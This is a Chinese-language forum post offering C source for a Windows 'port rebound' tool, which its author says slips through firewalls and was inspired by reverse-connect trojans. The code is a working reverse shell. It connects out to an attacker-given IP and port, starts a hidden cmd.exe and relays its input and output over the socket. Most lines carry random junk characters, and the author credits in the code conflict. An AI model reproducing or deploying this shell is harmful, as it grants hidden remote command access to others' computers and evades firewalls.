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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -$:*!55:j  
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/* ============================== {X{S[(|  
Rebound port in Windows NT m&D I2he  
By wind,2006/7 @9n|5.i  
===============================*/ w0Ex}  
#include 0'.z|Jg=  
#include jF j'6LT9/  
iWC}\&i  
#pragma comment(lib,"wsock32.lib") X am8h  
|e+3d3T35  
void OutputShell(); s3nt2$=:t  
SOCKET sClient; "\`Fu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c}|.U  
z~tdLtcX  
void main(int argc,char **argv) Lk@+iHf  
{ frW\!r{LT  
WSADATA stWsaData; ts@Z5Yw*!  
int nRet; 83 R_8  
SOCKADDR_IN stSaiClient,stSaiServer; ZWGX*F#}P  
(VI(Nv:o@  
if(argc != 3) Jr;w>8B),  
{ wbcip8<t  
printf("Useage:\n\rRebound DestIP DestPort\n"); n'{jc 6&|  
return; x=L"qC9f/  
} aXQAm$/ >  
'0 )`.  
WSAStartup(MAKEWORD(2,2),&stWsaData); &~/g[\Y  
2RF3pIFrm  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [g<gu~  
;<' 'oY  
stSaiClient.sin_family = AF_INET; +/eJ#Xw3u8  
stSaiClient.sin_port = htons(0); Y3FFi M[s~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l;A'^  
\v\ONp"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) );TB(PQsBT  
{ );i J9+ V}  
printf("Bind Socket Failed!\n"); 1@ &J"*  
return; dmv0hof  
} =54D#,[B  
hCF_pt+  
stSaiServer.sin_family = AF_INET; AB,(%JT/2{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s-'~t#h  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); dhxzW@'nIL  
}~PG]A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `v)'(R7){  
{ E3[9!L8gb  
printf("Connect Error!"); &\~*%:C  
return; ?u:mscb  
} HWB\}jcA6u  
OutputShell(); )4s7,R  
} !v=/f_6  
50Gu~No6  
void OutputShell() !\d~9H%`B  
{ eFS$;3FP1  
char szBuff[1024]; @M-Q|  
SECURITY_ATTRIBUTES stSecurityAttributes; 0-{E% k  
OSVERSIONINFO stOsversionInfo; islHtX VE  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7t#Q8u?  
STARTUPINFO stStartupInfo; V#.pi zb  
char *szShell; 4guR8 elM  
PROCESS_INFORMATION stProcessInformation; t\ z@k9  
unsigned long lBytesRead; X(Mpg[,N"  
w/*#TDR  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m-tn|m!J  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7G;1n0m-T  
stSecurityAttributes.lpSecurityDescriptor = 0; ml^=y~J[  
stSecurityAttributes.bInheritHandle = TRUE; :=+YZ|&j  
5{+2#-  
}:{ @nP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _K{- 1ZYsi  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v?6*n >R  
d*04[5`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $|&<cenMT  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \>wQyz  
stStartupInfo.wShowWindow = SW_HIDE; \n WbGS(  
stStartupInfo.hStdInput = hReadPipe; 7BwR ].  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WHOy\j},V  
8jL^q;R_(  
GetVersionEx(&stOsversionInfo); P*K"0[\n  
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switch(stOsversionInfo.dwPlatformId) *,:2O&P  
{ Ja 5od  
case 1: g@s`PBF7`  
szShell = "command.com"; ,YBO}l  
break; )p;t '*]  
default: 8EdaqF  
szShell = "cmd.exe"; [bX ^_ Y  
break; J?dz>3Rhx9  
} FW;}S9u3  
[.xc`CF  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); SB('Nqih  
6)ZaK  
send(sClient,szMsg,77,0); 0F_hXy@K  
while(1) sKKc_H3YSH  
{ fH_l2b[-3@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;r6YIS4@  
if(lBytesRead) ;~$Q;m 1  
{ `EvO^L   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LD NdHG6  
send(sClient,szBuff,lBytesRead,0); eAI|zk6  
} M;3q.0MU  
else pp1Kor  
{ sUmpf4/  
lBytesRead=recv(sClient,szBuff,1024,0); xhho{  
if(lBytesRead<=0) break; 0[<' ygu  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cV@^<  
} U=j`RQ 9,  
} "+qZv(  
AX6:*aZB  
return; ecH7")  
}
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